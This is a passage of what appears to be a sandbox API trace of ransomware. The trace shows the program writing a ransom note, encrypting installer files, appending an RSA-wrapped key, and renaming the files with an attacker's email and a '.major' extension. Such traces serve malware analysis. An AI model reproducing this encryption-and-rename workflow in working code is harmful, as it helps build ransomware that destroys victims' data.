Size=0xc0) returned 0x5d0e30 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb70 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0152.626] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d390 [0152.626] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b58 [0152.626] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0152.626] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x570000) returned 1 [0152.626] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0152.626] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0152.626] GetLastError () returned 0x12 [0152.626] SetLastError (dwErrCode=0x12) [0152.626] GetLastError () returned 0x12 [0152.626] SetLastError (dwErrCode=0x12) [0152.626] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0152.626] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0152.626] GetLastError () returned 0x12 [0152.626] SetLastError (dwErrCode=0x12) [0152.626] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60f990 [0152.626] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x67c [0152.627] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f990 | out: hHeap=0x570000) returned 1 [0152.627] WriteFile (in: hFile=0x67c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0152.627] CloseHandle (hObject=0x67c) returned 1 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0152.628] FindNextFileW (in: hFindFile=0x630e80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159168ea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x159168ea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7f00 [0152.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f00 | out: hHeap=0x570000) returned 1 [0152.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ef8 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0152.628] GetLastError () returned 0x0 [0152.628] SetLastError (dwErrCode=0x0) [0152.628] GetLastError () returned 0x0 [0152.628] SetLastError (dwErrCode=0x0) [0152.628] GetLastError () returned 0x0 [0152.628] SetLastError (dwErrCode=0x0) [0152.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.628] FindNextFileW (in: hFindFile=0x630e80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159168ea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x159168ea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0152.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e170 | out: hHeap=0x570000) returned 1 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3c48 | out: hHeap=0x570000) returned 1 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0152.628] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630f00 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ef8 | out: hHeap=0x570000) returned 1 [0152.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d98 [0152.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d98 | out: hHeap=0x570000) returned 1 [0152.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.628] GetLastError () returned 0x12 [0152.629] SetLastError (dwErrCode=0x12) [0152.629] GetLastError () returned 0x12 [0152.629] SetLastError (dwErrCode=0x12) [0152.629] GetLastError () returned 0x12 [0152.629] SetLastError (dwErrCode=0x12) [0152.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0152.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631100 [0152.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631100 | out: hHeap=0x570000) returned 1 [0152.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0152.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0152.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0152.629] FindNextFileW (in: hFindFile=0x630f00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7de0 [0152.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0152.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7de0 | out: hHeap=0x570000) returned 1 [0152.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ef8 [0152.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0152.629] GetLastError () returned 0x12 [0152.629] SetLastError (dwErrCode=0x12) [0152.629] GetLastError () returned 0x12 [0152.629] SetLastError (dwErrCode=0x12) [0152.629] GetLastError () returned 0x12 [0152.629] SetLastError (dwErrCode=0x12) [0152.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0152.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631380 [0152.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631380 | out: hHeap=0x570000) returned 1 [0152.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0152.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0152.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0152.630] FindNextFileW (in: hFindFile=0x630f00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1593bf8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1593bf8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ef8 | out: hHeap=0x570000) returned 1 [0152.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7960 [0152.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0152.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7960 | out: hHeap=0x570000) returned 1 [0152.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0152.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0152.630] GetLastError () returned 0x12 [0152.630] SetLastError (dwErrCode=0x12) [0152.630] GetLastError () returned 0x12 [0152.630] SetLastError (dwErrCode=0x12) [0152.630] GetLastError () returned 0x12 [0152.630] SetLastError (dwErrCode=0x12) [0152.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.630] FindNextFileW (in: hFindFile=0x630f00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x37687158, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0152.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0152.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d08 [0152.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d08 | out: hHeap=0x570000) returned 1 [0152.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0152.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.630] GetLastError () returned 0x12 [0152.630] SetLastError (dwErrCode=0x12) [0152.630] GetLastError () returned 0x12 [0152.630] SetLastError (dwErrCode=0x12) [0152.630] GetLastError () returned 0x12 [0152.630] SetLastError (dwErrCode=0x12) [0152.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0152.631] FindNextFileW (in: hFindFile=0x630f00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc6f54ba, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0152.631] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0152.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7960 [0152.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0152.631] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7960 | out: hHeap=0x570000) returned 1 [0152.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0152.631] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0152.631] GetLastError () returned 0x12 [0152.631] SetLastError (dwErrCode=0x12) [0152.631] GetLastError () returned 0x12 [0152.631] SetLastError (dwErrCode=0x12) [0152.631] GetLastError () returned 0x12 [0152.631] SetLastError (dwErrCode=0x12) [0152.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.631] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0152.631] FindNextFileW (in: hFindFile=0x630f00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc6f54ba, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0152.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e2e0 [0152.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.631] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0152.631] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", dwFileAttributes=0x80) returned 1 [0152.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e170 [0152.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b85a8 [0152.632] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e170 | out: hHeap=0x570000) returned 1 [0152.632] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680 [0152.632] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=781880) returned 1 [0152.632] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbee38) returned 0x670020 [0152.632] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbee38) returned 0x314f020 [0152.633] ReadFile (in: hFile=0x680, lpBuffer=0x670020, nNumberOfBytesToRead=0xbee38, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x670020*, lpNumberOfBytesRead=0x2e3f9b4*=0xbee38, lpOverlapped=0x0) returned 1 [0152.660] SetFilePointer (in: hFile=0x680, lDistanceToMove=-781880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.661] WriteFile (in: hFile=0x680, lpBuffer=0x314f020*, nNumberOfBytesToWrite=0xbee38, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314f020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xbee38, lpOverlapped=0x0) returned 1 [0152.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x670020 | out: hHeap=0x570000) returned 1 [0152.663] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314f020 | out: hHeap=0x570000) returned 1 [0152.663] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xbee38 [0152.663] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.663] WriteFile (in: hFile=0x680, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.663] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0152.663] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0152.663] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0152.663] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0152.664] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="6HlYksMRpebjVgBuepZYoeqAKGGiY9J0DoJZti6vARvmFzVA52VwwJYGI9KHPw7o\nzTZu1/1ddS5LuuGn3+nWj2nksf3axHhscpTQ26gIDV6snGrgnmnL9nkfuMOgXW/i\n8C/2gTvxwYjw1p5ssMegVdGM05Qmadvm3crdE3EALhEnjrTuIp8iMUJWmlZoOr0Y\nTcCqFTH9jb4GthPdyhr14eDe+CTUWic6ZDNsIGpR5KXVxnItH+15BmLVGFKlzrS4\nsUZTIYL3j/sNXFia2NN90WMeOIi8U4+Mgg6OkwynSi+/NcmWBWw4L0nv1moFrjD4\nsIUKiPfbSfKxQndQMsPdIw==\n", pcchString=0x2e3f9a8) returned 1 [0152.664] WriteFile (in: hFile=0x680, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0152.664] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.664] WriteFile (in: hFile=0x680, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.664] CloseHandle (hObject=0x680) returned 1 [0152.664] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.664] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), lpNewFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0152.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0152.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2e0 | out: hHeap=0x570000) returned 1 [0152.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0152.666] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2e40f20 [0152.666] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.666] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0152.666] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", dwFileAttributes=0x80) returned 1 [0152.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5a9008 [0152.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x651ab8 [0152.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0152.667] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680 [0152.667] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=750) returned 1 [0152.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2ee) returned 0x5a8108 [0152.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2ee) returned 0x5b5a90 [0152.667] ReadFile (in: hFile=0x680, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x2ee, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x2ee, lpOverlapped=0x0) returned 1 [0152.730] SetFilePointer (in: hFile=0x680, lDistanceToMove=-750, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.730] WriteFile (in: hFile=0x680, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x2ee, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2ee, lpOverlapped=0x0) returned 1 [0152.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0152.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0152.730] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2ee [0152.730] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.730] WriteFile (in: hFile=0x680, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.731] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0152.731] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0152.731] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0152.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0152.731] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, 